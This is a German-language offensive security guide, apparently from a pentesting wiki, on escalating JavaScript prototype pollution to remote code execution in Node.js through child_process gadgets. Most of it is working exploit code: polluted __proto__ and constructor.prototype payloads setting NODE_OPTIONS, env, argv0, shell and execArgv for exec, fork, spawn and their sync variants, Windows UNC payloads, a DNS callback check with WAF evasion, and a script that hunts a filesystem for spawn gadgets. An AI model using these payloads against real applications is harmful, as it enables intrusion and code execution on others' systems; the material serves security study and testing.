Prototype Pollution to RCE

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Verwundbarer Code

Stellen Sie sich ein echtes JS vor, das einen Code wie den folgenden verwendet:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE über Umgebungsvariablen

PP2RCE bedeutet Prototype Pollution to RCE (Remote Code Execution).

Laut diesem Bericht wird, wenn ein Prozess erzeugt wird mit einer Methode aus child_process (wie fork oder spawn oder anderen), die Methode normalizeSpawnArguments aufgerufen, die ein Prototype Pollution Gadget zur Erstellung neuer Umgebungsvariablen ist:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Checken Sie den Code, den Sie sehen können, es ist möglich, envPairs einfach durch Verschmutzung des Attributs .env zu vergiften.

Vergiftung von `proto`

Beachten Sie, dass aufgrund der Funktionsweise der normalizeSpawnArguments-Funktion aus der child_process-Bibliothek von Node, wenn etwas aufgerufen wird, um eine neue Umgebungsvariable für den Prozess festzulegen, Sie einfach alles verschmutzen müssen. Wenn Sie beispielsweise __proto__.avar="valuevar" tun, wird der Prozess mit einer Variablen namens avar mit dem Wert valuevar gestartet.

Damit die Umgebungsvariable die erste ist, müssen Sie das Attribut .env verschmutzen und (nur in einigen Methoden) wird diese Variable die erste sein (was den Angriff ermöglicht).

Deshalb ist NODE_OPTIONS nicht in .env im folgenden Angriff.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Vergiften von `constructor.prototype`

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE über env vars + cmdline

Ein ähnlicher Payload wie der vorherige mit einigen Änderungen wurde in diesem Bericht. Die Hauptunterschiede sind:

Anstatt den nodejs Payload in der Datei /proc/self/environ zu speichern, wird er in argv0 von /proc/self/cmdline gespeichert.
Dann, anstatt über NODE_OPTIONS die Datei /proc/self/environ zu verlangen, verlangt es /proc/self/cmdline.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS-Interaktion

Mit den folgenden Payloads ist es möglich, die zuvor besprochene NODE_OPTIONS-Umgebungsvariable auszunutzen und zu überprüfen, ob dies mit einer DNS-Interaktion funktioniert hat:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Oder um WAFs zu vermeiden, die nach der Domain fragen:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE vuln child_process Funktionen

In diesem Abschnitt werden wir jede Funktion von child_process analysieren, um Code auszuführen und zu sehen, ob wir eine Technik verwenden können, um diese Funktion zur Ausführung von Code zu zwingen:

exec Ausnutzung

// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

execFile Ausnutzung

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

Für **`execFile`** zu funktionieren, **MUSS** es node ausführen, damit die NODE\_OPTIONS funktionieren.\
Wenn es **nicht** node ausführt, müssen Sie herausfinden, wie Sie die **Ausführung** von dem, was es ausführt, **mit Umgebungsvariablen** ändern und diese setzen können.

Die **anderen** Techniken **funktionieren** ohne diese Anforderung, da es **möglich ist,** **was ausgeführt wird** über Prototype Pollution zu modifizieren. (In diesem Fall, selbst wenn Sie `.shell` verschmutzen können, werden Sie nicht das verschmutzen, was ausgeführt wird).

</details>

<details>

<summary><code>fork</code> Ausnutzung</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');

spawn Ausnutzung

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

execFileSync Ausnutzung

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

execSync Ausnutzung

// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');

spawnSync Ausnutzung

// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Forcing Spawn

In den vorherigen Beispielen haben Sie gesehen, wie man das Gadget auslöst. Eine Funktionalität, die spawn aufruft, muss vorhanden sein (alle Methoden von child_process, die etwas ausführen, rufen es auf). Im vorherigen Beispiel war das Teil des Codes, aber was ist, wenn der Code es nicht aufruft?

Kontrolle über einen require-Dateipfad

In diesem anderen Bericht kann der Benutzer den Dateipfad steuern, an dem ein require ausgeführt wird. In diesem Szenario muss der Angreifer nur eine .js-Datei im System finden, die eine Spawn-Methode beim Import ausführt. Einige Beispiele für gängige Dateien, die eine Spawn-Funktion beim Import aufrufen, sind:

/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Finden Sie weitere Dateien unten

Das folgende einfache Skript sucht nach Aufrufen von child_process ohne Padding (um zu vermeiden, dass Aufrufe innerhalb von Funktionen angezeigt werden):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.

Interessante Dateien, die vom vorherigen Skript gefunden wurden

node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });